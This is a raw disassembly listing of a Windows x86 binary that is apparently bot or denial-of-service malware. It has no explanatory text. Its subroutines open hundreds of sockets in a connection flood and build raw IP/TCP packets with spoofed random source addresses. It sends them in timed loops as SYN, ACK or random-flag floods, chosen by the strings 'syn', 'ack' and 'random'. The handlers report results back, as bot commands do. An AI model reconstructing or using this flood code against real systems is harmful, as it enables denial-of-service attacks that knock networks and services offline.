dd 99E85053h, 83000085h, 0B8FF5C4Dh, 0FFDCh, 390CC483h
dd 37E3845h, 39384589h, 37D3C7Dh, 333C7D89h, 345D39F6h
dd 75FF267Eh, 54458D3Ch, 53501C6Ah, 8D3875FFh, 0FEFD5485h
dd 75FF50FFh, 7C75FF70h, 41F415FFh, 3B460044h, 0DA7C3475h
dd 0FF7C75FFh, 44418C15h, 0B4458D00h, 30858D50h, 68FFFFFDh
dd 435688h, 85E8E850h, 0C4830000h, 4C5D390Ch, 0FF532075h
dd 858D4875h, 0FFFFFD30h, 34858D50h, 50FFFFFFh, 0FF30B5FFh
dd 58E8FFFFh, 83FFFEB1h, 858D14C4h, 0FFFFFD30h, 1C7EE850h
dd 75FF0000h, 504FE844h, 5959FFFFh, 6815FF53h, 0CC0042B0h
dword_416104 dd 310B855h, 6C8D0001h, 0DE88C24h, 8B000089h, 56537C45h
; DATA XREF: sub_40274D+5498o
dd 59496A57h, 0BD8DF08Bh, 0FFFFFF40h, 0F633A5F3h, 20B08946h
dd 0FF000001h, 42B03815h, 99E85000h, 5900008Bh, 26A116Ah
dd 15FF026Ah, 444100h, 0D88B106Ah, 458DFF33h, 0E8505764h
dd 8498h, 8D0CC483h, 6650C445h, 26445C7h, 7C15FF00h, 83004441h
dd 4589FFF8h, 8D6E757Ch, 0FF50C445h, 44416815h, 75C73B00h
dd 0C4458D59h, 40858D50h, 68FFFFFDh, 435708h, 8510E850h
dd 0C4830000h, 5C7D390Ch, 0FF572075h, 858D5875h, 0FFFFFD40h
dd 44858D50h, 50FFFFFFh, 0FF40B5FFh, 80E8FFFFh, 83FFFEB0h
dd 858D14C4h, 0FFFFFD40h, 1BA6E850h, 75FF0000h, 4F77E854h
dd 5959FFFFh, 130E956h, 408B0000h, 0EB008B0Ch, 7C458D03h
dd 8B507D39h, 68458900h, 0EBE81175h, 9900008Ah, 0FFDCB9h
dd 42F9F700h, 0FF03EB52h, 15FF5075h, 444260h, 66507539h
dd 7D664589h, 50758903h, 0FFFFB8h, 50453900h, 4589037Eh
dd 44458B50h, 59990A6Ah, 7D39F9F7h, 4445894Ch, 75890375h
dd 39F6334Ch, 727E487Dh, 8A9DE8h, 0FFB99900h, 0F7000000h
dd 753B46F9h, 35948848h, 0FFFEFD63h, 56EBE67Ch, 6A444DFFh
dd 106A5E0Bh, 5064458Dh, 8A74E857h, 0A6A0000h, 0F9F75999h
dd 2B48458Bh, 858D50C2h, 0FFFEFD64h, 15FF5350h, 4440CCh
dd 0FF4C75FFh, 42B01415h, 0CE754E00h, 75507D39h, 8A44E819h
dd 0B9990000h, 0FFDCh, 5242F9F7h, 426015FFh, 89660044h
dd 7D396645h, 0FFA57F44h, 458D444Dh, 858D50C4h, 0FFFFFD40h
dd 4356DC68h, 0DBE85000h, 83000083h, 7D390CC4h, 5720755Ch
dd 8D5875FFh, 0FFFD4085h, 858D50FFh, 0FFFFFF44h, 40B5FF50h
dd 0E8FFFFFFh, 0FFFEAF4Bh, 8D14C483h, 0FFFD4085h, 71E850FFh
dd 0FF00001Ah, 42E85475h, 59FFFF4Eh, 15FF5759h, 42B068h
db 0CCh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416311 proc near ; CODE XREF: sub_4163CB+27p
var_654 = dword ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41E5F0
add esp, 0Ch
push [ebp+arg_4]
mov [ebp+var_14], 2
call ds:dword_444260 ; htons
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_4163C7
push esi
push edi
mov [ebp+arg_0], eax
mov edi, 190h
loc_41635B: ; CODE XREF: sub_416311+B2j
xor esi, esi
loc_41635D: ; CODE XREF: sub_416311+77j
push 0
push 1
push 2
call ds:dword_42B20C ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+esi*4+var_654], eax
jz short loc_416385
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call ds:dword_42B1E4 ; ioctlsocket
loc_416385: ; CODE XREF: sub_416311+62j
inc esi
cmp esi, edi
jl short loc_41635D
xor esi, esi
loc_41638C: ; CODE XREF: sub_416311+91j
push 10h
lea eax, [ebp+var_14]
push eax
push [ebp+esi*4+var_654]
call ds:dword_42B1F4 ; connect
inc esi
cmp esi, edi
jl short loc_41638C
push 64h
call ds:dword_42B014 ; Sleep
xor esi, esi
loc_4163AE: ; CODE XREF: sub_416311+ADj
push [ebp+esi*4+var_654]
call ds:dword_42B1F8 ; closesocket
inc esi
cmp esi, edi
jl short loc_4163AE
dec [ebp+arg_0]
jnz short loc_41635B
pop edi
pop esi
loc_4163C7: ; CODE XREF: sub_416311+3Ej
xor eax, eax
leave
retn
sub_416311 endp
; =============== S U B R O U T I N E =======================================
sub_4163CB proc near ; CODE XREF: seg000:0041644Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_4022BD
push [esp+10h+arg_4]
mov edi, eax
call sub_41E7AD
push [esp+14h+arg_8]
mov ebx, eax
call sub_41E7AD
mov esi, eax
push esi
push ebx
push edi
call sub_416311
add esp, 18h
test eax, eax
jnz short loc_4163FF
inc eax
loc_4163FF: ; CODE XREF: sub_4163CB+31j
cdq
mov ecx, 3E8h
idiv ecx
pop edi
cdq
idiv esi
pop esi
pop ebx
retn
sub_4163CB endp
; ---------------------------------------------------------------------------
loc_41640E: ; DATA XREF: sub_40274D+4B72o
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+8]
push esi
push edi
mov esi, eax
mov ecx, 85h
lea edi, [ebp-214h]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp-110h]
push eax
lea eax, [ebp-190h]
push eax
lea eax, [ebp-210h]
push eax
call sub_4163CB
push eax
lea eax, [ebp-414h]
push offset dword_435730
push eax
call sub_41E6A6
xor esi, esi
add esp, 18h
cmp [ebp-8], esi
jnz short loc_41648B
push esi
push dword ptr [ebp-0Ch]
lea eax, [ebp-414h]
push eax
lea eax, [ebp-90h]
push eax
push dword ptr [ebp-214h]
call sub_40123B
add esp, 14h
loc_41648B: ; CODE XREF: seg000:00416469j
lea eax, [ebp-414h]
push eax
call sub_417D70
push dword ptr [ebp-10h]
call sub_40B149
pop ecx
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=68h
sub_4164A9 proc near ; CODE XREF: sub_41677E+3Cp
var_288 = byte ptr -288h
var_F8 = byte ptr -0F8h
var_B8 = dword ptr -0B8h
var_B0 = byte ptr -0B0h
var_AF = byte ptr -0AFh
var_9C = byte ptr -9Ch
var_90 = byte ptr -90h
var_88 = byte ptr -88h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = byte ptr -64h
var_63 = byte ptr -63h
var_62 = word ptr -62h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = byte ptr -1Ch
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
lea ebp, [esp-68h]
sub esp, 288h
push ebx
push edi
push 0Eh
pop ecx
xor eax, eax
xor ebx, ebx
mov [ebp+68h+var_B0], bl
lea edi, [ebp+68h+var_AF]
rep stosd
stosw
stosb
lea eax, [ebp+68h+var_288]
push eax
push 202h
call ds:dword_444110 ; WSAStartup
test eax, eax
jz short loc_4164E5
xor eax, eax
jmp loc_416777
; ---------------------------------------------------------------------------
loc_4164E5: ; CODE XREF: sub_4164A9+33j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call ds:dword_444074 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+68h+var_4], eax
jz loc_41676F
push 4
lea ecx, [ebp+68h+var_3C]
push ecx
push 2
push ebx
push eax
mov [ebp+68h+var_3C], edi
call ds:dword_444120 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_416766
push esi
push 10h
lea eax, [ebp+68h+var_4C]
push ebx
push eax
call sub_41E5F0
add esp, 0Ch
push [ebp+68h+arg_8]
mov [ebp+68h+var_4C], 2
call ds:dword_444260 ; htons
mov esi, [ebp+68h+arg_0]
push 28h
mov [ebp+68h+var_4A], ax
mov [ebp+68h+var_48], esi
mov [ebp+68h+var_1C], 45h
call ds:dword_444260 ; htons
push [ebp+68h+arg_8]
mov [ebp+68h+var_1A], ax
mov [ebp+68h+var_18], di
mov [ebp+68h+var_16], bx
mov [ebp+68h+var_14], 80h
mov [ebp+68h+var_13], 6
mov [ebp+68h+var_12], bx
mov [ebp+68h+var_C], esi
call ds:dword_444260 ; htons
push 4000h
mov [ebp+68h+var_2E], ax
mov [ebp+68h+var_28], ebx
mov [ebp+68h+var_24], 50h
mov [ebp+68h+var_23], 2
call ds:dword_444260 ; htons
mov [ebp+68h+var_22], ax
lea eax, [ebp+68h+var_74]
push eax
mov [ebp+68h+var_1E], bx
mov [ebp+68h+var_8], ebx
call ds:dword_42B0DC ; QueryPerformanceFrequency
lea eax, [ebp+68h+var_38]
push eax
call ds:dword_42B0D8 ; QueryPerformanceCounter
push [ebp+68h+var_70]
mov eax, [ebp+68h+arg_C]
push [ebp+68h+var_74]
cdq
push edx
push eax
call sub_420750
add eax, [ebp+68h+var_38]
mov edi, edx
adc edi, [ebp+68h+var_34]
mov [ebp+68h+var_B8], eax
mov [ebp+68h+var_20], bx
call sub_41ECDE
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ds:dword_444260 ; htons
mov [ebp+68h+var_30], ax
call sub_41ECDE
call sub_41ECDE
push eax
call ds:dword_444260 ; htons
push [ebp+68h+arg_4]
movzx eax, ax
mov [ebp+68h+var_2C], eax
call ds:dword_444234 ; htonl
push 14h
pop esi
jmp short loc_41667F
; ---------------------------------------------------------------------------
loc_416617: ; CODE XREF: sub_4164A9+28Aj
add [ebp+68h+var_8], eax
lea eax, [ebp+68h+var_38]
push eax
call ds:dword_42B0D8 ; QueryPerformanceCounter
mov eax, [ebp+68h+var_34]
cmp eax, edi
jg loc_416762
jl short loc_41663D
mov eax, [ebp+68h+var_38]
cmp eax, [ebp+68h+var_B8]
jnb loc_416762
loc_41663D: ; CODE XREF: sub_4164A9+186j
mov [ebp+68h+var_20], bx
call sub_41ECDE
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ds:dword_444260 ; htons
mov [ebp+68h+var_30], ax
call sub_41ECDE
call sub_41ECDE
push eax
call ds:dword_444260 ; htons
push [ebp+68h+arg_4]
movzx eax, ax
mov [ebp+68h+var_2C], eax
call ds:dword_444234 ; htonl
loc_41667F: ; CODE XREF: sub_4164A9+16Cj
inc [ebp+68h+arg_4]
mov [ebp+68h+var_10], eax
mov eax, [ebp+68h+var_C]
push esi
mov [ebp+68h+var_68], eax
mov [ebp+68h+var_64], bl
mov [ebp+68h+var_63], 6
call ds:dword_444260 ; htons
mov [ebp+68h+var_62], ax
mov eax, [ebp+68h+var_10]
mov [ebp+68h+var_6C], eax
lea eax, [ebp+68h+var_6C]
push 20h
push eax
lea eax, [ebp+68h+var_B0]
push eax
call sub_41F400
lea eax, [ebp+68h+var_30]
push esi
push eax
lea eax, [ebp+68h+var_90]
push eax
call sub_41F400
lea eax, [ebp+68h+var_B0]
push 34h
push eax
call sub_402422
mov [ebp+68h+var_20], ax
lea eax, [ebp+68h+var_1C]
push esi
push eax
lea eax, [ebp+68h+var_B0]
push eax
call sub_41F400
lea eax, [ebp+68h+var_30]
push esi
push eax
lea eax, [ebp+68h+var_9C]
push eax
call sub_41F400
push 4
lea eax, [ebp+68h+var_88]
push ebx
push eax
call sub_41E5F0
add esp, 44h
lea eax, [ebp+68h+var_B0]
push 28h
push eax
call sub_402422
mov [ebp+68h+var_12], ax
lea eax, [ebp+68h+var_1C]
push esi
push eax
lea eax, [ebp+68h+var_B0]
push eax
call sub_41F400
add esp, 14h
push 10h
lea eax, [ebp+68h+var_4C]
push eax
push ebx
push 28h
lea eax, [ebp+68h+var_B0]
push eax
push [ebp+68h+var_4]
call ds:dword_4440CC ; sendto
cmp eax, 0FFFFFFFFh
jnz loc_416617
call ds:dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp+68h+var_F8]
push offset unk_43575C
push eax
call sub_41E6A6
lea eax, [ebp+68h+var_F8]
push eax
call sub_417D70
add esp, 10h
jmp short loc_416765
; ---------------------------------------------------------------------------
loc_416762: ; CODE XREF: sub_4164A9+180j
; sub_4164A9+18Ej
mov ebx, [ebp+68h+var_8]
loc_416765: ; CODE XREF: sub_4164A9+2B7j
pop esi
loc_416766: ; CODE XREF: sub_4164A9+73j
push [ebp+68h+var_4]
call ds:dword_444218 ; closesocket
loc_41676F: ; CODE XREF: sub_4164A9+57j
call ds:dword_444224 ; WSACleanup
mov eax, ebx
loc_416777: ; CODE XREF: sub_4164A9+37j
pop edi
pop ebx
add ebp, 68h
leave
retn
sub_4164A9 endp
; =============== S U B R O U T I N E =======================================
sub_41677E proc near ; CODE XREF: seg000:00416812p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_4022BD
push [esp+10h+arg_4]
mov esi, eax
call sub_41E7AD
push [esp+14h+arg_8]
mov ebx, eax
call sub_41E7AD
mov edi, eax
call sub_41ECDE
cdq
mov ecx, 200h
idiv ecx
push edi
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4164A9
add esp, 1Ch
test eax, eax
jnz short loc_4167C7
inc eax
loc_4167C7: ; CODE XREF: sub_41677E+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_41677E endp
; ---------------------------------------------------------------------------
loc_4167D6: ; DATA XREF: sub_40274D+6140o
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+8]
push esi
push edi
mov esi, eax
mov ecx, 85h
lea edi, [ebp-214h]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp-110h]
push eax
lea eax, [ebp-190h]
push eax
lea eax, [ebp-210h]
push eax
call sub_41677E
push eax
lea eax, [ebp-414h]
push offset unk_43577C
push eax
call sub_41E6A6
xor esi, esi
add esp, 18h
cmp [ebp-8], esi
jnz short loc_416853
push esi
push dword ptr [ebp-0Ch]
lea eax, [ebp-414h]
push eax
lea eax, [ebp-90h]
push eax
push dword ptr [ebp-214h]
call sub_40123B
add esp, 14h
loc_416853: ; CODE XREF: seg000:00416831j
lea eax, [ebp-414h]
push eax
call sub_417D70
push dword ptr [ebp-10h]
call sub_40B149
pop ecx
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=70h
sub_416871 proc near ; CODE XREF: seg000:00416ABFp
var_98 = word ptr -98h
var_96 = word ptr -96h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
lea ebp, [esp-70h]
sub esp, 98h
and [ebp+70h+var_88], 0
and [ebp+70h+var_58], 0
push ebx
push esi
push edi
push 4
pop esi
xor eax, eax
xor ecx, ecx
inc ecx
push 6
pop edx
mov ebx, 0FFh
mov [ebp+70h+var_84], ecx
mov [ebp+70h+var_78], edx
lea edi, [ebp+70h+var_54]
mov [ebp+70h+var_80], 2
mov [ebp+70h+var_7C], esi
mov [ebp+70h+var_74], 8
mov [ebp+70h+var_70], 0Ch
mov [ebp+70h+var_6C], 11h
mov [ebp+70h+var_68], 16h
mov [ebp+70h+var_64], 29h
mov [ebp+70h+var_60], 3Ah
mov [ebp+70h+var_5C], ebx
stosd
mov [ebp+70h+var_50], eax
mov [ebp+70h+var_4C], eax
mov [ebp+70h+var_48], eax
mov [ebp+70h+var_3C], edx
mov [ebp+70h+var_34], ecx
mov [ebp+70h+var_30], eax
lea edi, [ebp+70h+var_2C]
mov [ebp+70h+var_44], 2000h
mov [ebp+70h+var_40], esi
mov [ebp+70h+var_38], 3FFFh
stosd
mov edi, 100h
push edi
mov [ebp+70h+var_28], ecx
call sub_41FEB2
pop ecx
push edi
push eax
mov [ebp+70h+var_4], eax
call ds:dword_444220 ; gethostname
push [ebp+70h+var_4]
call ds:dword_444168 ; gethostbyname
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
push ebx
push 3
push 2
mov [ebp+70h+var_C], eax
call ds:dword_444100 ; socket
push esi
lea ecx, [ebp+70h+var_28]
push ecx
push 2
push 0
push eax
mov [ebp+70h+var_4], eax
call ds:dword_444120 ; setsockopt
mov esi, 200h
push esi
call sub_41E5D3
mov edi, ds:dword_42B038
pop ecx
mov [ebp+70h+var_8], eax
call edi ; GetTickCount
mov [ebp+70h+var_10], eax
mov eax, [ebp+70h+arg_0]
push 29Ah
mov [ebp+70h+var_94], eax
mov [ebp+70h+var_98], 2
call ds:dword_444260 ; htons
mov [ebp+70h+var_96], ax
jmp loc_416A4A
; ---------------------------------------------------------------------------
loc_416984: ; CODE XREF: sub_416871+1EAj
call sub_41ECDE
cdq
mov ecx, ebx
idiv ecx
mov eax, [ebp+70h+var_C]
and eax, 0FFFFFFh
shl edx, 18h
or edx, eax
mov [ebp+70h+var_C], edx
call sub_41ECDE
cdq
mov ecx, ebx
idiv ecx
mov [ebp+70h+var_54], edx
call sub_41ECDE
cdq
mov ecx, 1FA4h
idiv ecx
mov [ebp+70h+var_24], 45h
mov [ebp+70h+var_23], 4
mov [ebp+70h+var_2C], edx
call sub_41ECDE
mov [ebp+70h+var_20], ax
call sub_41ECDE
cdq
push 0Ah
pop ecx
idiv ecx
xor eax, eax
mov ax, word ptr [ebp+edx*4+70h+var_50]
push eax
call ds:dword_444260 ; htons
push esi
mov [ebp+70h+var_1E], ax
call ds:dword_444260 ; htons
mov [ebp+70h+var_22], ax
mov [ebp+70h+var_1C], bl
call sub_41ECDE
cdq
push 0Eh
pop ecx
idiv ecx
push 14h
mov al, byte ptr [ebp+edx*4+70h+var_88]
mov [ebp+70h+var_1B], al
mov eax, [ebp+70h+var_C]
mov [ebp+70h+var_18], eax
mov eax, [ebp+70h+arg_0]
mov [ebp+70h+var_14], eax
lea eax, [ebp+70h+var_24]
push eax
call sub_402422
mov [ebp+70h+var_1A], ax
push 14h
lea eax, [ebp+70h+var_24]
push eax
push [ebp+70h+var_8]
call sub_41F400
add esp, 14h
push 10h
lea eax, [ebp+70h+var_98]
push eax
push 0
push esi
push [ebp+70h+var_8]
push [ebp+70h+var_4]
call ds:dword_4440CC ; sendto
loc_416A4A: ; CODE XREF: sub_416871+10Ej
call edi ; GetTickCount
sub eax, [ebp+70h+var_10]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+70h+arg_4]
jbe loc_416984
push [ebp+70h+var_8]
call sub_41E2A1
pop ecx
push [ebp+70h+var_4]
call ds:dword_444218 ; closesocket
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
add ebp, 70h
leave
retn
sub_416871 endp
; ---------------------------------------------------------------------------
loc_416A7E: ; DATA XREF: sub_40274D+6A89o
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+8]
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp-194h]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp-110h]
push eax
call sub_41E7AD
pop ecx
push eax
lea eax, [ebp-190h]
push eax
call ds:dword_44417C ; inet_addr
push eax
call sub_416871
push eax
lea eax, [ebp-394h]
push offset dword_4357A4
push eax
call sub_41E6A6
xor esi, esi
add esp, 14h
cmp [ebp-8], esi
jnz short loc_416B00
push esi
push dword ptr [ebp-0Ch]
lea eax, [ebp-394h]
push eax
lea eax, [ebp-90h]
push eax
push dword ptr [ebp-194h]
call sub_40123B
add esp, 14h
loc_416B00: ; CODE XREF: seg000:00416ADEj
lea eax, [ebp-394h]
push eax
call sub_417D70
push dword ptr [ebp-10h]
call sub_40B149
pop ecx
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
loc_416B1E: ; DATA XREF: sub_40274D+512Eo
push ebp
lea ebp, [esp-74h]
sub esp, 440h
mov eax, [ebp+7Ch]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp-1CCh]
rep movsd
xor esi, esi
inc esi
mov [eax+19Ch], esi
push 0Eh
xor eax, eax
xor ebx, ebx
mov [ebp-2Ch], bl
pop ecx
lea edi, [ebp-2Bh]
rep stosd
stosw
stosb
mov edi, ds:dword_42B038
call edi ; GetTickCount
push eax
call sub_41ECD4
pop ecx
push 0FFh
push 3
push 2
call ds:dword_444100 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+70h], eax
jnz short loc_416BA6
call ds:dword_4441C4 ; WSAGetLastError
push eax
push offset unk_4358C0
loc_416B89: ; CODE XREF: seg000:00416BCAj
lea eax, [ebp-3CCh]
push eax
call sub_41E6A6
add esp, 0Ch
loc_416B98: ; CODE XREF: seg000:00416BF1j
; seg000:00416F0Cj
cmp [ebp-34h], ebx
jnz loc_416EBC
jmp loc_416E9C
; ---------------------------------------------------------------------------
loc_416BA6: ; CODE XREF: seg000:00416B7Bj
push 4
lea ecx, [ebp+40h]
push ecx
push 2
push ebx
push eax
mov [ebp+40h], esi
call ds:dword_444120 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_416BCC
call ds:dword_4441C4 ; WSAGetLastError
push eax
push offset unk_435888
jmp short loc_416B89
; ---------------------------------------------------------------------------
loc_416BCC: ; CODE XREF: seg000:00416BBCj
lea eax, [ebp-1C8h]
push eax
call ds:dword_44417C ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_416BF3
lea eax, [ebp-3CCh]
push offset unk_435868
push eax
call sub_41E6A6
pop ecx
pop ecx
jmp short loc_416B98
; ---------------------------------------------------------------------------
loc_416BF3: ; CODE XREF: seg000:00416BDCj
push 10h
lea eax, [ebp+30h]
push ebx
push eax
call sub_41E5F0
add esp, 0Ch
push ebx
mov word ptr [ebp+30h], 2
call ds:dword_444260 ; htons
mov [ebp+32h], ax
lea eax, [ebp-1C8h]
push eax
call ds:dword_44417C ; inet_addr
mov [ebp+34h], eax
mov [ebp+7Ch], ebx
call edi ; GetTickCount
mov [ebp+44h], eax
jmp loc_416E3D
; ---------------------------------------------------------------------------
loc_416C30: ; CODE XREF: seg000:00416E4Ej
push 28h
mov byte ptr [ebp+48h], 45h
call ds:dword_444260 ; htons
cmp [ebp-3Ch], ebx
mov [ebp+4Ah], ax
mov [ebp+4Ch], si
mov [ebp+4Eh], bx
mov byte ptr [ebp+50h], 80h
mov byte ptr [ebp+51h], 6
mov [ebp+52h], bx
jz short loc_416C86
call sub_41ECDE
mov esi, eax
shl esi, 8
call sub_41ECDE
add esi, eax
shl esi, 8
call sub_41ECDE
add esi, eax
shl esi, 8
call sub_41ECDE
add esi, eax
mov [ebp+54h], esi
xor esi, esi
inc esi
jmp short loc_416C9C
; ---------------------------------------------------------------------------
loc_416C86: ; CODE XREF: seg000:00416C57j
push dword ptr [ebp-1CCh]
call sub_4023C9
pop ecx
push eax
call ds:dword_44417C ; inet_addr
mov [ebp+54h], eax
loc_416C9C: ; CODE XREF: seg000:00416C84j
cmp [ebp-44h], ebx
mov eax, [ebp+34h]
mov [ebp+58h], eax
jnz short loc_416CB7
call sub_41ECDE
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_416CBA
; ---------------------------------------------------------------------------
loc_416CB7: ; CODE XREF: seg000:00416CA5j
push dword ptr [ebp-44h]
loc_416CBA: ; CODE XREF: seg000:00416CB5j
call ds:dword_444260 ; htons
mov [ebp+5Eh], ax
call sub_41ECDE
cdq
mov ecx, 401h
idiv ecx
push edx
call ds:dword_444260 ; htons
push 12345678h
mov [ebp+5Ch], ax
call ds:dword_444234 ; htonl
mov [ebp+60h], eax
lea eax, [ebp-148h]
push offset aSyn ; "syn"
push eax
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_416D0A
mov [ebp+64h], ebx
mov byte ptr [ebp+69h], 2
jmp short loc_416D66
; ---------------------------------------------------------------------------
loc_416D0A: ; CODE XREF: seg000:00416CFFj
lea eax, [ebp-148h]
push offset aAck ; "ack"
push eax
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_416D2A
mov [ebp+64h], ebx
mov byte ptr [ebp+69h], 10h
jmp short loc_416D66
; ---------------------------------------------------------------------------
loc_416D2A: ; CODE XREF: seg000:00416D1Fj
lea eax, [ebp-148h]
push offset aRandom_0 ; "random"
push eax
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_416D66
call sub_41ECDE
cdq
push 3
pop ecx
idiv ecx
mov [ebp+64h], edx
call sub_41ECDE
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+69h], dl
loc_416D66: ; CODE XREF: seg000:00416D08j
; seg000:00416D28j ...
push 200h
mov byte ptr [ebp+68h], 50h
call ds:dword_444260 ; htons
mov [ebp+6Ah], ax
mov eax, [ebp+54h]
mov [ebp+10h], eax
mov eax, [ebp+58h]
push 14h
mov [ebp+6Eh], bx
mov [ebp+6Ch], bx
mov [ebp+14h], eax
mov [ebp+18h], bl
mov byte ptr [ebp+19h], 6
call ds:dword_444260 ; htons
mov [ebp+1Ah], ax
push 20h
lea eax, [ebp+10h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_41F400
push 14h
lea eax, [ebp+5Ch]
push eax
lea eax, [ebp-0Ch]
push eax
call sub_41F400
lea eax, [ebp-2Ch]
push 34h
push eax
call sub_402422
mov [ebp+6Ch], ax
push 14h
lea eax, [ebp+48h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_41F400
push 14h
lea eax, [ebp+5Ch]
push eax
lea eax, [ebp-18h]
push eax
call sub_41F400
push 4
lea eax, [ebp-4]
push ebx
push eax
call sub_41E5F0
add esp, 44h
lea eax, [ebp-2Ch]
push 28h
push eax
call sub_402422
mov [ebp+52h], ax
push 14h
lea eax, [ebp+48h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_41F400
add esp, 14h
push 10h
lea eax, [ebp+30h]
push eax
push ebx
push 3Ch
lea eax, [ebp-2Ch]
push eax
push dword ptr [ebp+70h]
call ds:dword_4440CC ; sendto
cmp eax, 0FFFFFFFFh
jz loc_416ED9
inc dword ptr [ebp+7Ch]
loc_416E3D: ; CODE XREF: seg000:00416C2Bj
call edi ; GetTickCount
sub eax, [ebp+44h]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp-40h]
jbe loc_416C30
push dword ptr [ebp+70h]
call ds:dword_444218 ; closesocket
mov eax, [ebp+7Ch]
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
xor edx, edx
div dword ptr [ebp-40h]
shr ecx, 14h
push ecx
push eax
push dword ptr [ebp+7Ch]
lea eax, [ebp-1C8h]
push eax
lea eax, [ebp-148h]
push eax
lea eax, [ebp-3CCh]
push offset unk_435818
push eax
call sub_41E6A6
add esp, 1Ch
cmp [ebp-34h], ebx
jnz short loc_416EBC
loc_416E9C: ; CODE XREF: seg000:00416BA1j
push ebx
push dword ptr [ebp-38h]
lea eax, [ebp-3CCh]
push eax
lea eax, [ebp-0C8h]
push eax
push dword ptr [ebp-1CCh]
call sub_40123B
add esp, 14h
loc_416EBC: ; CODE XREF: seg000:00416B9Bj
; seg000:00416E9Aj
lea eax, [ebp-3CCh]
